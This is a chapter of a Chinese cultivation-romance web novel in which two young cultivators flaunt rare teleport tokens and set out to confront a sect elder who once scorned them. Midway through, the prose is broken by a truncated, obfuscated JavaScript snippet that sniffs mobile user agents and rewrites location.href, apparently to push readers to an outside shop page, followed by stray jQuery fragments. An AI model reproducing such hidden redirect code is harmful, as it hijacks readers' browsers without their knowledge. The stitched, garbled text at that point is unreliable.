阚乐葭也不说话,只是手掌一翻,两朵青蓝色的花便浮现在他的掌心之上。
那花微微旋转,将动未动,却把陈师兄一双狗眼都要闪瞎了,他看着花,又看向南修齐和阚乐葭,指尖颤抖:“你你你你你你,你们……”
见陈师兄“你”了半天也没能说出一句完整的话,阚乐葭好心将他的话补充完:“是,我有传送令,还有两块呢,正好我和景明一人一块,完全不用分开哦。”
陈师兄听了这话,脸上的震惊终于缓缓褪去,最终化成一声长长的苦笑。他卸了力气,往后一靠,整个人看上去都松弛了下来:“我的老天呐,你们这运气真是不知道让我说什么才好了。”
“就为了这一块传送令的事,那天华门上上下下都闹得极不开心,更是无辜牵连到我们头上。那宋可枳明里暗里劝你,也是想让你承这个情,想让你知道这一块传送令价值不菲,本宗待你不薄,什么事都想着你呢……”
陈师兄摇了摇头,语气里满是感慨,“只是他们却想不到,你们是完全不把他们眼中视若珍宝的传送令当回事。”
当然,恐怕天华门从上到下也想不到,只是普普通通的两个小修士,便能随随便便地拿出两块让修真界所有人都趋之若鹜的传送令。
阚乐葭将那两块传送令收了回去:“谁说我们不当回事啊?当,得当,太当回事了!”
他冲着陈师兄挑了挑眉毛:“既然天华门上赶着非要送咱们一个名额,不要白不要,哪能轻易白白放过呀?不然他撒在咱们身上的气,陈师兄你不是白受了?既然这秘境里有不少好东西,陈师兄你便同我们一同进去,没准大家又能一起组队在秘境里发财了呢。”
陈师兄听了,倒是没反驳。毕竟,既然南修齐手上有传送令,那这块传送令自然会回到明面上明心宗的手里,由他们自行分配。
在新一代年轻弟子中,凌霜没出关,陈师兄既是宗门新一代弟子中的首席,修为也是最高的,这块传送令不用想也会落在他手上。
他笑着对两人拱了拱手:“那以后在秘境里,我就要继续仰仗乐葭师弟你啦,要像以前一样,多多罩着我才成。”
阚乐葭大方地摆了摆手:“好说,好说。”
三人又闲聊了几句,陈师兄喝完最后一口茶,看了眼外面的天色,便招来小二结了账。
站起身,刚刚还是轻松愉快的脸上瞬间耷拉了下来,重新变成了蔫了吧唧的苦瓜:“行了,天色不早了,我又要去伺候天华门那帮大爷了。”
“哎。”他叹了一口气,走到门口,又回过头提醒两人,“对了,咱们上次去黄天山秘境,宗门发的补助和额外的奖励已经发下来了,只是当时你俩不在宗门,东西便先寄存在崔长老那里,你们回去的时候可以顺道领一下。”
看着阚乐葭瞬间亮起的眼神,陈师兄又不得不给他打好预防针,“东西不算多,只是宗门的一番心意而已,你不要抱太大希望,毕竟咱们明心宗家小业小,给的奖励和你们手里的那些东西比起来,怕是连零头也算不上。”
“哎哎哎,陈师兄这是说的什么话呢?”阚乐葭连连摆手,“俗话说得好,蚊子再小也是肉,你放心,对于灵石法宝,我绝不是这种嫌贫爱富的人,不嫌弃,一点也不嫌弃。”
明心宗上下只有一位崔长老,那就是执事堂的老萝卜精。
这老萝卜精在第一面时,曾毫不留情地用筑基大圆满的威压攻击过他,虽然大部分攻击都被南修齐挡了回去,但那时阚乐葭只是一只可怜、柔弱、无辜,连引气入体都没有成功的可怜小猪猪罢了!
就那一击,险些给这个尚未踏入仙途的小猪留下了极深的心理阴影,自此,他以绝对优势登上了小猪仇人小本本的榜首。
直到进入黄天山秘境之时,遇到灵枢那个死变态的僵尸老鸟才被短暂地屈居第二,不过随着灵枢灰飞烟灭,老萝卜精又重回了榜首的宝座。
如今三年期限已到,正是他猪龙王归位报仇打脸之刻!
阚乐葭气势汹汹地表示:“那老萝卜精绝对想不到吧,还不到三年,形势便已经骤然反转了!”
“当年他看不起我,觉得我就是一只普通的小猪,连给你当灵宠的资格都没有,更何况是当道侣了。言语间满是上赶着要给天华门当狗腿子的决心,甚至还出手攻击!”
“结果呢,现在什么情况?他还是一个皮老骨老的老萝卜,我们也还是水水灵灵的小鲜萝卜。但是!但是你已升至了金丹,我也踏入了筑基。现在他想跟咱们动手,那就是轻轻松松把他吊起来,扔锅里炖萝卜汤喝。呸,没人喝老萝卜,喝了也拉肚子。”
南修齐牵着他的手慢悠悠地往回走,看着他眉飞色舞的样子,忍不住笑道:“嗯,想必脸色一定难看。”
阚乐葭兴致勃勃地拉着南修齐和他先情景模拟一下:“现在我是咱们俩,你是老萝卜精,现在,我拉着你直接踹门进去,你什么话也不用说,一股子金丹期的威压直接冲他压过去,快快快,现在到你了。”
南修齐笑着摇了摇头,在阚乐葭催促的眼神中,清了清嗓子,装模作样地演了起来:“呀,真是好强的威压,哪来的金丹期?可是有敌人进来了?咦?怎么是你们两个?”
阚乐葭耀武扬威地抬起下巴冲着“崔长老”说:“我们来领黄天山秘境宗门发的奖励,听说寄存在了你这里。”
“崔长老”尴尬地说:“是,我来找找……”
“哼,是该找找!好好找找,毕竟我看你这眼神可不太好。崔长老,两年前我见你就是筑基大圆满,如今看了怎么修为一点也不长啊?你看我与景明初次见面时还只是一个凡人和筑基期,现在已是筑基期和金丹期了,你是不是没有努力修炼过?宗门给了你这么多供奉,你就是在这平白浪费资源啊……”
“崔长老”支支吾吾:“我……也有修炼……只是天赋在此,比不得两位……”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347531|199541||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>阚乐葭痛心疾首:“你这就是找借口了,你还记得当年你刚一见面就说我虽然长得好看,但是能力太弱,还是趁早丢了好;又和南修齐说,他不告知天华门便私自与我结成道侣,就是自甘堕落,不思进取吗?”
“崔长老”赔笑:“当时是我眼太拙,没有看出两位的厉害……”
阚乐葭鼻孔朝天“哼”了一声:“那我问你,你还对我二人结成道侣这事有异议吗?”
“当然没有,二位郎才郎貌……”南修齐转回了自己的声音,温柔缱绻的嗓音从他薄唇中缓缓说了出来,“是天作之合。”
阚乐葭看他,正巧陷进了他那宛若装着星辰的眼中。
被哄开心了,阚乐葭脸上露出一个大大的笑,用力地荡着两人牵着的手,像小孩子一样大步向前边蹦蹦跳跳地走着。
但忽然,他又停下了脚步转过头,忧心忡忡:“景明……你说那老萝卜精这两年会不会也发狠了忘情了,忽然顿悟了,一不小心突破金丹了吧?那咱们两个送上门去,可就不太妙了,这打脸也打不爽啊。”
南修齐见他那瞬间鼓起来的腮帮子,觉得甚是可爱,忍不住伸手戳了戳:“金丹若是那么好结,他便不会滞留在筑基巅峰多年。如今他年岁已大,气血怕是早已开始衰败。能勉强维持住现在的境界已是不易,若是再过几年,年岁再大些,怕是连筑基巅峰都维持不住了。况且,就算他真的得了大运,升至金丹……”
他神情显露出几分自傲,“你相公筑基高阶时,普通金丹尚不敌我手,如今到了金丹期,同阶第一人的称号我也是可以争一争,你自然不必怕他。”
这话瞬间治好了阚乐葭的焦虑,他那种“我就要去搞事”的昂扬斗志又回了过来,不过他“哼”了一声,先扑到南修齐怀里,死死掐着他的两颊质问道:“你说自己是谁相公呢?”
两人一路打打闹闹,终于到了执事堂门口,见那座熟悉的建筑出现在眼前时,阚乐葭下意识地松开了南修齐的手,整理好衣袍,酝酿好情绪,摆出一副孤傲清冷的高手风范神色,这才与南修齐并肩踏入室内。
他一番饱含情绪的开场白已经涌到嗓子口,可看清里面的情景,却打了个磕巴。
天不遂猪愿,这崔老萝卜精竟然不在,是两个青年人站在那里处理公务。
见进来人,其中一个弟子抬起头:“两位师兄安好,不知道来执事堂有何要事?”
见阚乐葭一时目瞪口呆不说话,南修齐便淡然开口:“弟子南修齐携道侣阚乐葭来领上次去黄天山秘境时应得的奖励。”
“原来是南师兄啊。”听了他的话,那弟子倒是很热情,“您在这里歇歇,我帮您把东西拿出来。”
阚乐葭终于缓过了神,追问道:“崔长老呢?他不在吗?”
那弟子笑道:“师父前些日子便宣布闭关了,如今执事堂的事务皆由我师兄弟二人暂代。若您是找我师父有什么事,我们可代为传达。”